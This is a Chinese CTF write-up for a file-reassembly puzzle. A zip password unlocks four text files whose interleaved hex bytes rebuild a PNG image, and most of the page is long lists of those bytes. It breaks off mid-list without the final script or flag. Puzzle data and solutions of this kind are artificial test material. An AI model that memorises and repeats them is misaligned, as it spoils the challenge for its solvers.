铁人三项CTF题目WP

admin 2023年1月12日08:23:32CTF专场评论15 views34439字阅读114分47秒阅读模式

一生壹世

解压密码根据提示很明显 1314 解压得到四个txt



89504E47 明显的PNG头 加上后面的IHDR 写个脚本逐个字节拼接一下

myStr1 =['89','0D','00','49','00','00','08','00','F7','01','42','1C','00','4D','B1','61','00','59','0E','0E','6F','00','44','5E','5A','C5','6C','07','76','C3','63','74','10','86','93','FA','A5','70','A8','5D','4F','FF','42','82','21','92','10','B6','88','16','26','08','0C','84','48','42','D9','21','5B','98','21','32','10','20','08','64','84','6D','62','85','C9','42','83','21','92','10','B6','88','16','26','08','0C','84','48','42','D9','E7','6A','D3','7A','DF','9E','DE','7F','8B','B6','05','D0','3D','6A','82','41','5B','62','93','98','0E','D5','24','29','29','AC','B1','33','94','D5','A2','DB','04','97','A3','6D','3E','E6','43','98','85','B6','85','F5','F3','83','1E','48','45','F6','05','61','97','8D','F4','21','2D','74','E2','5F','28','9C','01','A1','E8','46','D4','21','8B','AE','1D','42','9A','B9','C5','F3','36','EC','6F','E7','76','C3','89','B1','C7','FC','F4','2E','85','B7','A6','8C','4D','7E','B3','61','51','C4','E0','21','2D','62','6B','27','DB','9F','0A','5E','D0','40','28','82','CB','8B','0A','57','F7','E9','70','A6','EE','AD','F9','ED','14','43','5B','5B','DB','1E','C9','87','F7','1B','7A','61','22','75','D3','7D','FE','23','6E','AD','35','E3','BE','64','2E','51','92','2A','CF','0F','6E','98','D2','1C','83','B6','C4','B7','16','3F','17','8E','C3','FA','B9','1D','3B','47','C8','13','DB','D9','70','7E','E0','95','49','45','42','4C','BD','AF','82','4B','38','3B','E4','06','C7','1C','51','CB','A4','1B','51','D6','BB','98','8C','36','B3','D3','32','36','7D','98','1F','87','88','DC','6D','8B','9E','17','4C','DB','94','03','E1','83','16','33','54','76','34','BF','F5','7D','18','BA','E3','F7','22','21','64','D7','61','92','1D','C7','EA','CE','00','88','A2','11','56','CB','76','97','50','AD','58','E4','2F','C9','2C','C1','A4','1F','A3','F4','F5','7D','F3','A3','9F','D6','7F','21','8B','D4','F8','4B','98','09','D8','65','A3','0A','38','CA','C3','3B','A1','1C','AB','68','5D','92','63','6D','87','E2','DD','1D','5F','06','EF','64','B7','DA','ED','34','87','C9','C9','8A','32','57','74','A7','EC','8A','9E','CF','F1','70','75','81','CA','19','7B','D6','61','1B','5B','62','64','D0','42','C7','02','23','A9','DD','A5','07','BE','17','96','07','9C','69','21','A2','B6','71','39','FA','02','1A','EA','F2','8B','E0','8C','37','3E','26','F3','4E','7D','63','14','6C','73','40','34','1F','B5','F2','26','E5','A3','9F','DE','87','E8','7B','8E','7C','59','72','C5','B6','FB','B5','50','ED','34','BB','B4','35','C4','B4','0C','E3','0F','F0','82','4B','C2','0C','D7','23','35','A0','A0','9B','23','94','7E','8E','D9','8A','04','D0','14','7A','90','08','B3','3C','E5','6E','CF','60','89','D9','AA','A2','4B','25','BA','AA','BE','1D','2A','E7','35','BA','22','4C','5F','B3','AB','87','6C','B1','71','70','79','1D','9A','0F','C9','E5','E8','74','D9','06','83','1C','90','56','56','B1','1A','3F','02','5D','5D','F5','44','2C','EA','CB','66','3E','07','58','B6','0D','A7','7B','67','17','6D','52','AA','C5','F7','F3','E2','D4','9B','43','39','2C','9C','69','06','EB','D4','D5','D9','CA','ED','DA','7E','59','33','5B','46','2D','F6','B1','10','A2','06','C6','CB','0B','7D','77','9B','37','BF','5C','AE','37','DF','9B','3D','66','29','2B','5B','FF','6D','44','8D','65','4B','EE','DD','90','95','B3','DF','6B','C9','2B','3B','FE','C5','06','B3','07','86','37','B9','DB','57','AE','45','F6','3F','33','A2','B5','68','BA','0D','97','C1','25','E8','91','97','5D','8B','B6','80','FC','FE','B6','EB','ED','D6','9F','8F','99','72','9E','5A','61','FF','3B','C9','7B','4E','15','DD','6F','BD','64','9C','43','68','48','B8','28','2C','F3','C3','EB','74','7A','A3','0F','74','D1','DC','8F','DB','10','E6','5D','47','18','D0','CB','1E','39','71','2D','83','48','91','32','B0','A3','05','81','EF','30','6E','8E','6C','DA','F5','68','B7','AC','51','E7','C6','70','DE','F2','04','7E','F1','58','82','A8','8C','7F','01','1B','F0','5B','96','99','14','9D','34','28','1E','B2','02','B0','2B','5E','21','F8','B8','E6','D3','D1','81','B2','8F','4A','F4','3B','E2','2D','A9','D3','8F','57','BE','70','9E','01','30','B5','0F','0C','81','08','0E','2F','BA','DB','FE','56','69','DE','CB','2A','9B','81','DD','B2','35','A1','FB','F0','96','77','DA','14','D4','AA','01','D2','A1','F5','73','A3','4C','87','B5','DA','49','ED','CF','38','2A','EF','BA','40','67','03','B2','E3','66','D4','6D','32','C6','01','28','9F','6C','8B','D8','B0','EE','68','EF','6B','7B','0B','20','19','63','56','7C','82','13','16','A0','21','40','90','10','71','E2','05','06','33','05','18','42','74','EE','F9','C3','4D','8A','33','B6','9C','1B','7B','24','B9','60','C1','27','38','66','F1','DA','CC','97','4B','F3','50','67','59','8A','72','4D','95','0D','56','60','FB','1C','66','CE','E2','12','FF','D8','7E','9D','BE','7F','8E','5C','16','8C','63','71','B6','17','9A','0E','CD','6E','BB','81','D0','23','EE','76','5A','6D','C8','2F','39','F1','F2','51','6A','EF','2D','82','91','A3','C2','59','D8','0F','DB','75','7D','F0','F1','79','DA','F6','05','0A','80','A1','1C','00','2F','86','C1','A4','F6','36','B5','39','24','55','31','06','68','C7','AB','01','DC','47','9A','F6','4D','23','DF','76','F7','25','09','68','66','17','6D','29','B6','6C','95','FA','01','0C','E6','69','B4','74','F6','FD','7D','93','B2','E8','36','C6','C9','2F','EE','08','D3','E3','E8','33','DF','1F','27','14','2E','D3','AB','87','15','3B','DD','F3','DE','91','64','4F','7D','6C','49','B5','C0','E7','6B','25','E9','F5','8F','26','EA','F1','58','B8','14','60','C9','34','8F','49','58','0E','3E','0E','64','4C','AC','3E','22','98','2A','56','97','B3','CA','73','48','7C','1E','6D','5B','24','6C','AC','AE','30','07','D9','9E','86','CB','F0','C8','24','6C','98','95','AF','F6','2C','EE','9A','3E','5F','3F','8D','56','25','B7','6C','68','C0','0B','8B','B3','9B','C3','A0','91','1A','B6','0D','BB','5B','02','C5','72','91','5E','4F','A7','AE','D2','37','81','CF','D5','8B','09','BE','A7','61','B0','90','53','30','44','D1','1D','4E','16','EA','8A','41','24','01','19','D4','AC','24','A7','7E','E4','FF','F1','83','7F','5B','D5','C3','F5','09','BB','04','A3','53','AF','16','23','12','2D','30','8E','42','6F','3B','A3','4C','24','18','D0','34','1F','B0','E7','87','C0','48','6C','DB','A7','EC','DF','6E','5F','BA','40','62','D1','1B','83','48','A8','B7','9E','84','43','B0','17','6C','E7','40','D7','25','95','49','81','40','4E','31','71','F4','02','0F','A5','E0','18','92','3C','64','2B','3C','85','77','F5','28','20','1C','81','4B','EA','94','6A','79','A6','DB','3A','95','24','05','60','88','38','61','24','E6','7E','FE','A4','B1','C8','D1','65','A8','DA','E1','8A','8C','F9','2F','C8','14','B7','14','EB','BB','1A','98','AC','6D','45','7F','FA','B6','6F','DE','9F','AE','91','65','8C','2E','2B','5B','C8','67','28','49','CD','C2','6B','3C','52','37','82','69','38','7E','5A','2A','0B','AC','98','F6','6C','B0','B7','B8','D3','FB','F1','B2','B2','52','DA','15','76','05','7D','81','1A','1A','AF','B6','5A','FB','0B','CC','99','F0','91','F4','3B','49','90','BD','DD','5B','90','FB','BB','AE','B1','42','51','D9','B5','B5','C6','3E','B6','B6','CC','87','CF','60','C4','D3','F8','A3','11','58','1D','E8','A1','5A','5D','C0','A8','81','60','57','39','B9','F6','3A','C1','0A','70','C5','F3','A0','B3','F4','E6','00','A5','1E','07','8B','CB','7A','0F','13','02','B0','AC','C3','A6','1C','6C','61','34','AF','4A','AC','04','A8','1C','CE','7B','C8','5D','66','71','24','34','E8','C8','EA','69','FF','DC','1A','53','B5','AC','B2','90','02','49','93','A5','DC','2C','10','85','E0','88','3B','71','CB','F2','BD','49','E2','BA','E9','F7','23','7C','EA','E6','7F','F5','C2','AA','66','75','7F','44','5B','55','CD','ED','BF','F6','36','78','ED','31','0B','5C','F9','7B','B7','5F','93','E8','C5','47','B8','09','10','88','BC','8D','C2','06','B3','C6','3E','38','0A','88','3F','B7','D6','F0','88','7A','7C','3C','75','54','99','62','D2','B4','47','12','7A','B9','04','31','C7','70','36','80','01','93','FA','69','4D','8C','88','90','74','F1','17','E5','F3','DB','7F','E5','AC','B6','C9','E0','47','42','2E','C8','62','AE','5F','04','0F','DE','A9','1E','23','BB','F9','31','F6','66','73','10','B6','EA','CA','AC','10','B6','25','6C','24','08','C7','75','BD','78','6A','84','B6','88','16','26','08','0C','84','48','42','D9','21','5B','98','21','32','10','20','08','64','84','6D','62','85','C9','42','83','21','92','10','B6','88','16','26','08','0C','84','48','42','D9','21','5B','98','21','32','10','20','08','BF','28','C9','00','49','AE']myStr2 = ['50','0A','00','48','00','00','02','83','00','73','00','E9','04','41','8F','05','09','73','C3','C3','A8','19','41','ED','1C','93','B6','EC','60','06','E6','8F','32','29','F7','BE','92','D9','47','7D','A9','F2','08','64','84','6D','62','85','C9','42','83','21','92','10','B6','88','16','26','08','0C','84','48','42','D9','21','5B','98','21','32','10','20','08','64','84','6D','62','85','C9','42','83','21','92','10','B6','88','16','9F','28','FE','73','CF','A4','CE','BE','9F','18','2C','84','9A','66','EC','8C','3C','99','33','DC','57','5E','DB','84','F6','09','5C','96','FB','FB','10','62','B2','37','68','D8','E7','8C','D0','79','58','68','56','75','CF','8F','1E','90','42','71','50','15','89','C2','83','56','BE','83','F8','71','16','42','4D','62','58','BB','CF','6A','36','B0','F8','44','82','B1','22','EE','9B','FC','CF','D4','2E','39','26','5D','C7','1E','E9','2E','C7','6F','0B','91','1C','CE','B3','41','97','9B','DC','56','DA','3C','E2','78','56','0A','F6','98','66','1E','EE','56','97','D7','61','AF','CF','2A','46','71','DD','A9','FC','ED','48','43','AC','B4','95','F6','76','48','DF','61','67','B2','CC','BA','1C','43','A3','4B','70','AD','9A','BB','5E','27','E1','10','6D','A5','80','1F','24','84','53','BD','65','8D','3A','B7','B8','CC','4F','BA','9D','2C','D9','B0','23','B2','4A','F5','E5','EE','36','FC','F1','2A','B6','1A','C7','2B','FD','EE','DF','0B','09','6F','24','CD','1F','1A','73','7F','48','59','A9','A8','1E','A0','50','0C','C5','DE','E8','36','70','93','1F','DD','3E','DC','DA','20','3D','A0','88','A2','22','D6','2E','C7','1A','14','88','77','AC','24','9E','FD','2D','2A','E8','61','33','40','6B','15','5C','DF','97','DC','B8','2B','E7','46','8D','86','7D','72','25','61','15','1A','B6','99','E1','77','A9','F4','A3','E2','A3','7E','75','FD','9C','63','F9','0D','FE','5A','36','87','8B','B6','61','04','A6','80','58','0B','64','2D','71','58','ED','F9','4F','22','C6','6D','4A','59','E9','5D','DB','41','77','AF','27','1B','A7','ED','41','00','C2','B6','B6','B2','C5','B9','58','BE','BB','A2','4A','D9','F1','A4','12','66','06','EF','24','FF','48','DF','28','F9','7D','B7','AA','31','08','86','64','DD','D7','09','7E','AA','C8','BE','09','AC','52','8D','0B','C2','4C','68','F8','84','13','D6','A7','37','EE','A1','2D','00','0B','19','7D','41','42','8B','D9','8C','60','9A','15','CB','1F','95','57','3E','DE','70','06','58','CE','7F','A2','BF','5E','31','DF','25','DC','6D','67','77','8C','B0','C0','0E','C9','FB','E4','D0','44','BC','BF','0E','D7','69','C2','93','6D','4D','9E','ED','AE','FC','9F','35','1D','89','62','44','6D','67','01','62','DA','55','AE','76','2A','30','EC','B7','63','DB','43','73','7D','E5','E7','E7','C0','5D','D9','42','64','4B','C5','85','A9','B6','71','10','FF','56','AB','1B','36','4B','BA','C1','FD','E6','5D','76','6C','94','69','EB','B0','4C','6E','58','42','53','C2','05','70','F6','28','A7','B3','24','45','B1','80','85','E0','3F','D1','6A','01','4A','F6','B9','38','46','9A','35','39','10','40','6D','30','C0','5C','55','DE','F6','BB','73','EC','27','C6','DF','57','FD','8A','77','05','0D','22','F8','81','F4','42','77','6C','37','0E','B0','AE','01','B0','A1','33','6C','7C','DE','B6','5E','DF','7D','DB','09','BB','1D','FD','90','0C','83','1F','EB','B6','A5','90','FA','D4','4A','86','2B','7C','BB','F5','47','2D','5F','34','F6','4C','1F','15','CD','B2','9A','50','2F','B9','38','EB','39','26','1E','10','45','22','B1','16','AD','82','DA','79','7E','06','60','85','3D','E5','F4','DF','90','36','45','FB','66','C7','35','8D','46','81','08','23','6F','32','DB','47','F3','9E','32','69','8D','F4','75','77','FE','37','F5','00','2D','E6','C2','DB','8B','8D','64','2A','03','71','BB','28','B6','94','8D','39','B7','2B','6C','87','CC','78','7E','BA','DB','C3','00','3E','A1','B6','CF','30','70','DE','D5','26','75','2E','6F','22','A4','68','4A','48','08','2C','4F','69','A1','A0','E6','16','4B','83','EF','0D','72','D4','84','6C','EE','AB','B2','EC','DE','6E','B4','F9','FC','80','E8','27','DA','45','29','20','58','46','08','90','9C','75','DC','D5','C5','CC','6A','60','E7','2A','D1','48','7E','61','A7','9E','67','8F','E9','85','2D','06','E7','F8','90','81','45','70','E7','C5','F3','BC','9F','66','E9','62','EB','F0','A8','35','B4','F8','74','B4','53','95','63','28','69','FB','D1','F5','74','98','20','14','B0','78','EF','19','8B','A4','23','82','61','06','74','EA','62','19','93','BD','B0','44','70','1C','D9','DC','13','D0','FC','B2','6C','C8','20','05','AC','B2','14','CD','DC','82','9E','47','59','34','23','96','29','75','0E','F1','86','3A','77','6F','2F','81','7B','C0','E2','98','85','8B','63','E9','B6','06','C9','F5','44','D0','AA','13','60','DF','BF','56','A1','0F','96','4C','8E','BB','F6','62','BE','0F','8F','09','6D','81','52','36','75','7D','8A','DA','10','6E','50','AC','6A','B7','75','96','19','62','9D','30','89','FF','86','F6','2D','18','94','64','86','48','62','BD','BB','97','0C','A6','00','AA','C1','A8','61','15','77','8C','F3','78','AD','4C','B8','EC','5D','CE','04','6E','25','22','DB','A4','AB','B7','21','6E','4F','4B','1F','59','86','44','A5','CA','AC','2F','D0','D6','6A','1E','FE','3F','D1','1D','B2','AF','B2','84','A4','05','21','F1','BD','39','C3','FB','A2','3D','1D','19','92','28','B0','24','F7','8F','13','55','88','1E','46','91','4E','9A','09','65','64','B2','E3','7A','73','26','66','BD','3B','34','10','8B','E9','95','FA','60','58','34','83','75','DF','DA','A7','02','51','08','E9','D1','76','11','FD','E7','3A','5E','6D','08','5B','4A','AD','A2','03','22','C5','F1','AC','D9','D1','73','2A','C2','3D','3A','E8','48','D0','CB','B6','F9','7A','33','A4','93','B2','FC','40','DB','08','56','AD','35','AB','8A','48','BB','64','B2','A5','7A','59','3F','97','03','C1','3D','8D','EC','DA','F2','7C','AB','0D','D3','AC','12','A1','9F','A1','FA','3A','AC','5E','FD','FD','D2','44','37','32','2B','6A','E4','D2','3C','19','20','57','C7','DF','29','17','C6','C6','4E','45','50','D7','9F','18','37','5E','05','C8','7C','D4','58','D1','73','DB','47','FD','16','B6','24','FF','82','BB','96','66','94','A9','C9','1B','A3','BE','4C','7E','2A','0A','6D','51','A8','BC','A3','36','BA','1C','34','13','D9','EF','5D','5B','84','06','EF','56','6E','6D','1B','7F','30','06','C5','03','58','22','85','6D','0A','B9','0C','F3','2A','D1','AE','AF','59','ED','56','E0','DB','22','74','D8','26','F8','8F','A7','14','BE','4E','70','2D','2F','92','C5','46','6C','61','74','C8','F9','EB','FA','09','B4','83','72','11','F7','E8','FB','58','05','22','22','FF','FB','E6','14','BC','D1','AB','B6','CF','EC','41','F0','0C','57','C7','CB','3B','2E','91','F8','AC','03','14','85','51','F7','6B','4C','13','A3','07','34','DA','D2','25','44','06','22','C8','44','54','C2','C8','E1','F9','55','B7','6B','F1','F9','38','1E','1F','4E','81','03','DE','67','65','4F','1F','B5','D5','61','4D','F7','9C','C2','2D','2D','6A','CE','DB','AD','65','A5','8F','63','9D','F9','77','BB','59','A4','6C','7D','33','DF','84','16','61','F6','B3','4F','3B','C6','F7','D8','25','F5','18','85','6C','85','C3','D0','8A','42','55','E7','1A','93','BA','71','2D','21','09','A6','7D','A5','1E','06','AC','31','D0','C8','09','42','3D','8D','05','EA','69','2D','BA','00','80','18','72','2F','CF','6C','C9','2B','74','B7','30','F8','1A','3A','FB','3A','E5','45','0C','91','B1','40','DC','72','69','13','75','F8','45','DC','01','26','12','B8','09','2B','DB','D0','19','5B','1B','BA','83','C8','F0','FD','CB','87','95','01','74','8F','96','C4','DC','A2','F5','78','DE','E9','10','1F','97','92','F1','B0','A1','9A','6D','E8','D9','22','25','B6','FF','40','66','23','3F','EF','36','08','88','47','ED','54','DE','65','31','14','37','00','31','BB','BE','3B','44','67','02','A9','31','21','45','03','86','D1','DC','7C','34','9A','81','5A','35','8F','65','64','7D','A1','7B','E8','D1','F1','3E','9B','FF','DC','3D','96','FF','20','E1','73','DA','FA','91','0E','41','31','62','2D','2D','52','2D','C3','B8','88','71','57','36','BD','CC','78','62','42','99','B2','B3','10','B6','DF','12','8E','36','22','34','F6','BF','39','56','BD','B5','C9','03','BB','CB','31','F6','B3','D4','A2','10','EB','8E','88','A2','10','CF','21','DB','91','AC','2E','48','70','96','10','85','C9','42','83','21','92','10','B6','88','16','26','08','0C','84','48','42','D9','21','5B','98','21','32','10','20','08','64','84','6D','62','85','C9','42','83','21','92','10','B6','88','16','26','08','0C','84','48','42','D9','21','FF','08','61','00','45','42']myStr3 = ['4E','1A','00','44','02','00','00','62','00','52','AE','00','67','00','0B','00','70','00','00','01','64','A9','54','9D','B7','FF','61','2D','BC','C0','B6','03','04','90','A4','17','AA','E7','2D','54','51','AF','21','5B','98','21','32','10','20','08','64','84','6D','62','85','C9','42','83','21','92','10','B6','88','16','26','08','0C','84','48','42','D9','21','5B','98','21','32','10','20','08','64','84','6D','62','85','C9','C3','7F','DE','18','3F','8C','BD','6C','B7','04','C2','EF','C2','AB','A6','45','88','19','C2','CA','79','F6','88','E2','36','0D','84','11','C3','C0','39','59','38','B4','E6','C2','EC','A9','DE','D4','7B','11','60','0D','FF','83','1F','1E','19','34','95','3D','B7','55','B8','F2','47','2F','5A','F5','44','1D','98','B0','AF','5B','7A','26','90','AE','DE','A1','C3','6D','FE','07','EE','ED','F6','9F','85','2F','73','29','39','38','C5','13','2E','E2','18','7D','CD','91','E7','B3','EF','D3','37','2E','44','40','EA','5E','EC','4D','93','DE','A9','00','48','80','A1','2F','46','D1','F6','CF','4B','78','F7','3B','01','F9','2D','27','A6','8E','D1','1C','46','2F','FC','1B','9A','BB','0D','60','4B','80','7E','51','6F','ED','C1','6D','BD','6E','0D','F1','3F','D1','F5','E5','82','DB','40','C0','65','1B','9A','6C','B7','36','28','B4','54','9D','B0','E5','E1','E2','2D','A9','08','B0','C5','9B','29','7F','9B','FD','66','B5','F2','AB','EE','3A','6B','EE','E5','38','FD','F3','8F','5E','02','B6','29','32','AF','28','25','B6','5B','D3','EB','BA','36','E9','E6','17','D5','02','DC','90','E1','0B','33','76','8D','B2','D1','10','6E','70','8B','48','77','95','27','9D','FA','B8','EC','F6','59','B3','2A','6B','2C','99','7F','34','55','7B','49','A1','24','54','F8','2C','15','97','76','38','13','D1','F6','D0','12','21','7E','76','BD','23','8C','08','9E','9F','AD','44','1C','CC','91','BA','BC','28','2B','66','99','73','6C','B9','D8','69','31','7B','54','FA','26','51','9A','62','D1','E9','74','47','74','A5','28','D8','B6','22','F8','72','ED','F3','F9','1F','18','68','0D','2A','74','D9','0A','68','E3','B6','B5','71','A3','A9','47','CF','16','8C','2B','B6','BF','8C','E3','AE','6F','03','CC','03','F5','1B','DD','BF','4B','FD','00','AC','3A','1C','9C','24','EF','B1','B4','D8','C7','74','D9','54','EB','92','60','CD','B8','4D','D2','2B','EF','3D','CD','64','36','06','E5','7F','B1','7C','E6','FE','93','57','7D','B6','44','9B','FA','CE','22','D7','55','9E','27','FF','98','C1','F4','FE','34','32','21','29','88','B6','97','F0','7E','2B','78','A2','AC','B6','A3','8C','2C','35','24','91','FA','8E','6C','F1','B3','9A','25','00','1B','C6','1A','9D','31','80','B0','F6','79','18','41','06','A4','2F','18','1E','BA','1B','27','79','E7','16','F1','16','B6','47','47','1B','54','DC','B6','71','3E','FE','76','AC','D1','F8','A8','00','EE','E7','81','15','3A','8B','D2','0B','C1','62','78','B6','04','2A','CA','0F','30','0D','E6','2E','2F','D9','A0','50','55','77','F3','81','30','C6','54','6D','AC','F6','E9','D2','0F','FA','1D','61','3F','53','01','0B','6A','C2','61','DA','2A','BB','66','65','98','91','77','7E','B1','5D','57','24','0B','51','67','2F','B6','92','ED','73','AF','DE','5A','32','5D','70','68','F1','34','F2','4F','D8','46','B1','DF','2C','4C','78','8D','C5','6C','A8','83','CE','42','68','3B','C6','CB','05','59','C9','B3','3E','E6','C6','4B','3A','8C','0A','3E','F6','B9','19','EE','ED','3E','F7','E5','CD','99','F2','3E','63','E9','F5','1B','18','80','22','7A','2D','23','24','36','8E','B1','8A','CB','30','25','B6','2C','E0','0B','08','2C','5C','21','48','77','61','C9','95','CA','E8','51','C9','D0','1A','87','88','F1','7C','EE','02','3B','04','8C','33','CC','66','6B','0D','D9','6C','02','54','F4','11','57','42','45','46','98','3B','42','CA','BB','D0','B1','8E','C2','12','B3','84','9F','40','15','D9','9F','40','80','DE','75','EC','11','AA','0B','EE','72','EB','44','B6','B2','B1','E5','5B','B8','D3','C0','08','60','F5','E4','4B','98','17','6A','6C','AD','6D','31','DE','2A','94','D0','64','57','53','C5','47','C8','49','28','DB','BC','E4','D2','60','C3','64','05','1C','4B','E7','B4','55','69','8C','85','FE','FD','1A','F2','CA','C0','50','F5','E8','DA','81','3F','F1','5F','64','60','20','28','C5','97','F1','AC','0E','D3','F4','19','E1','DD','D4','05','B8','AE','34','F6','9D','00','2A','97','DC','8F','E3','D3','36','D9','34','D2','98','1C','6A','D9','A5','72','5E','EE','D3','6F','EA','BB','51','EF','B8','FD','6F','8E','99','C3','7D','03','0A','23','2D','8B','42','C0','85','B4','6D','D7','AE','0B','97','FD','3B','C6','2D','ED','A0','A3','12','F8','9E','1C','DF','08','A3','3F','66','82','BB','E2','66','A8','68','7C','2C','1C','16','E9','24','23','03','46','1A','66','F3','D2','0E','C2','1C','4B','48','9A','1A','04','38','E6','EE','8F','21','44','B8','6A','5C','77','15','23','36','31','58','63','AA','1B','FC','E2','46','4B','6B','1D','3B','CE','F2','FC','04','CE','7F','09','5B','30','63','44','9E','A9','DB','97','D3','1A','66','F4','1C','8F','DD','65','25','03','D9','9F','FB','5F','74','69','7D','35','1A','A8','21','A2','D4','10','85','DB','74','A1','DF','04','24','E9','2F','71','36','57','25','4F','B1','92','B0','E8','03','C6','C0','DB','56','1D','AC','2F','39','9B','33','E7','2C','F1','D0','3E','41','79','10','6D','1A','B6','C1','9D','BD','8A','EA','96','D3','C2','88','5A','14','05','68','F7','05','49','BD','BC','58','BB','0E','7A','03','C2','36','30','0A','3B','DC','42','30','FE','30','03','3A','94','C9','0D','3E','9C','C7','D4','1A','18','C7','7B','6D','06','D1','B4','87','EC','56','4B','A4','A2','E5','E5','2C','47','13','A7','DE','F2','22','9C','6F','06','FF','7D','A1','FE','BF','43','BD','5D','F9','88','A2','AB','86','55','62','75','F0','DB','16','1F','16','F4','C0','EC','BA','3C','DF','6D','07','FD','15','B6','EE','21','47','61','C4','96','BB','B8','79','38','F4','A1','3C','7A','94','83','07','2F','D1','31','BD','1B','27','2F','3F','ED','D9','B6','D3','07','35','92','30','B0','4E','49','BC','58','A2','25','5A','B9','D0','AD','07','77','9D','27','17','B7','07','FA','78','07','2C','67','D2','60','A1','B5','EE','2E','B6','C2','33','70','5B','DE','34','8B','7A','45','14','C8','C8','5A','6F','F7','74','E4','7D','C7','3D','4F','16','E0','EF','66','6E','21','AA','24','92','FF','C1','0B','BA','65','74','6C','F7','A3','F2','B0','87','B4','C0','C3','FD','50','15','7E','D0','8E','32','D0','5D','0F','DD','C6','A0','07','45','CE','83','2D','6D','17','2E','C3','C8','86','64','7C','A1','FA','4E','D7','08','5C','F3','39','DF','43','CB','59','96','ED','32','30','66','A0','78','90','94','3F','6C','6D','B2','52','1A','86','48','4E','03','19','0D','E4','11','2B','22','BE','97','82','9B','64','A2','07','BB','BB','DA','B1','90','33','D9','2D','FA','84','61','9F','A4','D8','50','C6','A3','6B','A3','65','3A','7B','90','15','61','3A','09','84','55','4C','E1','ED','76','58','89','2A','08','A8','C6','DA','AC','46','82','B9','A8','EC','CE','36','EF','F6','CB','4C','6A','02','45','2F','00','8D','98','39','E9','19','B3','40','32','ED','EF','3C','A2','9F','92','05','B6','18','91','66','F1','03','09','F3','8F','93','00','D9','D9','20','AC','21','A6','77','2C','B4','0E','6F','A8','BA','DC','F8','D1','FF','48','87','5B','05','54','9D','73','FD','14','60','35','88','B6','B8','0A','85','8D','7B','0A','C0','77','63','78','E0','05','C3','FA','45','4C','AE','6C','5D','7E','9F','7C','9D','C6','1C','03','0D','72','7E','A2','3C','B7','D7','F5','E0','37','AF','1B','B5','CB','28','A6','55','83','1E','7A','DB','A4','85','48','10','A5','21','E5','E6','2F','E7','17','A8','B9','CD','59','84','16','81','33','DD','9E','FE','75','C8','26','85','FE','8F','31','18','ED','F2','69','B2','82','0A','A3','FD','0E','84','68','C4','5E','69','D0','33','58','2B','E3','CE','64','D8','9B','68','3E','9D','3D','BD','80','9E','E2','1B','FA','F9','8A','8F','08','44','F7','06','FC','36','3F','BE','3D','64','F2','7E','FB','53','6C','C7','7E','ED','BB','B5','4F','43','87','23','E6','64','C8','4A','9B','32','58','2A','5C','8C','31','8A','F5','A2','10','51','E5','8A','21','D9','AE','F7','7E','51','D8','43','10','B6','19','FB','25','80','36','99','1F','17','A3','7F','4C','1F','17','23','11','C4','42','1E','4E','84','B6','CA','96','82','10','20','08','64','84','6D','62','85','C9','42','83','21','92','10','B6','88','16','26','08','0C','84','48','42','D9','21','5B','98','21','32','10','20','08','64','84','6D','62','85','C9','42','83','21','92','10','B6','88','16','26','FE','07','9C','00','4E','60']myStr4 = ['47','0A','0D','52','92','7A','00','24','00','47','CE','00','41','00','FC','00','48','00','00','C7','00','49','78','4D','D7','56','B3','10','01','63','C7','D3','A6','91','8F','49','0B','37','5D','71','55','10','26','08','0C','84','48','42','D9','21','5B','98','21','32','10','20','08','64','84','6D','62','85','C9','42','83','21','92','10','B6','88','16','26','08','0C','84','48','42','D9','21','5B','98','21','32','10','20','F9','42','03','B1','1B','F9','FA','65','6E','C9','03','B6','65','2E','F2','67','64','03','DF','29','B4','BC','7A','E9','16','66','87','F3','01','CC','B8','24','AB','6E','FB','26','8D','43','D0','55','1E','C9','11','40','FC','83','3F','E2','8A','B7','F3','EB','56','5C','03','47','B2','7C','FF','D7','66','3C','E7','4A','C1','D9','D2','63','6C','AE','5D','C3','DA','40','0E','E6','6E','EC','DB','3F','E2','2F','A0','82','C7','B3','F8','8A','42','DB','20','E0','CD','83','F3','50','D8','8E','6F','78','B2','00','82','E0','26','C5','10','DE','FB','A6','6C','BD','FA','59','E1','AB','F7','CF','AF','7B','F0','BB','63','F3','FD','0D','C4','64','2B','1E','5E','36','FD','1B','12','8B','D0','EC','B9','A6','B0','1E','6E','AD','BF','DD','BE','08','E0','BF','18','46','B1','87','C7','35','2A','1C','13','50','2B','1F','6B','3A','13','BC','D3','1D','B9','0A','0C','27','DA','51','57','25','26','71','80','C6','A5','09','A1','C1','1F','57','EE','A2','5C','EE','E4','ED','F1','F9','2A','F8','42','45','F5','20','64','74','D0','9A','6D','D3','21','96','A2','A0','1F','FE','22','E4','D0','E1','CF','F5','A1','24','AC','DB','0E','D0','60','20','05','60','BB','11','58','9D','35','BA','11','F7','39','EF','C3','0B','D1','38','FF','16','87','F0','FB','4C','DB','4A','50','33','C9','97','96','BD','31','2E','5E','77','47','CF','45','BD','81','56','F5','AA','7A','9F','97','73','3F','7C','6C','A4','72','18','81','28','9C','91','5B','86','43','01','A9','7B','00','6E','9C','2F','46','30','C6','B8','2E','08','35','48','B8','D0','01','6A','35','6F','AD','37','E5','02','0B','63','B9','4B','00','BA','0C','C3','00','21','F2','B0','C3','35','7B','4C','69','C7','09','45','6C','62','28','D2','DF','3A','CE','4B','E4','BD','4D','A8','7B','CA','2F','D9','E6','A3','40','DB','5C','F8','61','31','6C','16','59','21','A7','6D','13','9B','1B','7B','E9','4E','76','F4','93','91','BE','D9','17','7F','B5','FD','E6','19','51','57','DA','C7','73','33','E7','CE','B7','9A','4D','50','FF','42','C0','ED','9C','DD','E0','39','F6','7E','1F','68','6D','F0','CA','30','F1','04','D7','E0','58','4D','32','AD','AE','27','EA','8E','1B','B0','DD','DB','CC','BA','93','4A','BE','99','87','20','AC','52','79','94','71','CC','D5','4F','54','14','DE','4C','C7','30','D1','1F','43','6D','89','41','C9','B0','7B','84','76','70','2F','3D','23','EA','53','F2','E3','6C','3E','8F','D7','C8','84','36','26','31','DF','33','BA','C3','C7','8D','CE','9F','E8','A3','E6','82','5A','2C','4A','F8','26','EB','EE','5A','92','2A','86','75','BC','E6','0D','58','07','4D','3E','C5','F4','99','9F','7E','32','FC','74','DA','9A','3B','6C','E6','37','09','CD','0A','06','C2','9D','DB','40','93','91','6D','E5','77','61','37','5F','1D','95','1F','1B','F7','0F','06','4D','8D','28','D5','91','54','2C','AB','32','F7','7D','6F','5B','4B','03','40','10','23','3B','BF','3F','04','13','B6','AE','44','36','48','58','93','40','E5','5D','01','B2','6B','E1','89','B1','CB','41','83','A8','F6','BF','12','8D','48','16','8F','5F','57','3D','46','58','2A','D5','BB','24','CF','4E','CD','B9','D1','63','18','D3','CC','18','45','76','D3','21','A7','B6','D2','D0','AF','58','F3','80','4A','C7','61','D5','3E','D3','3F','F4','A2','28','53','E4'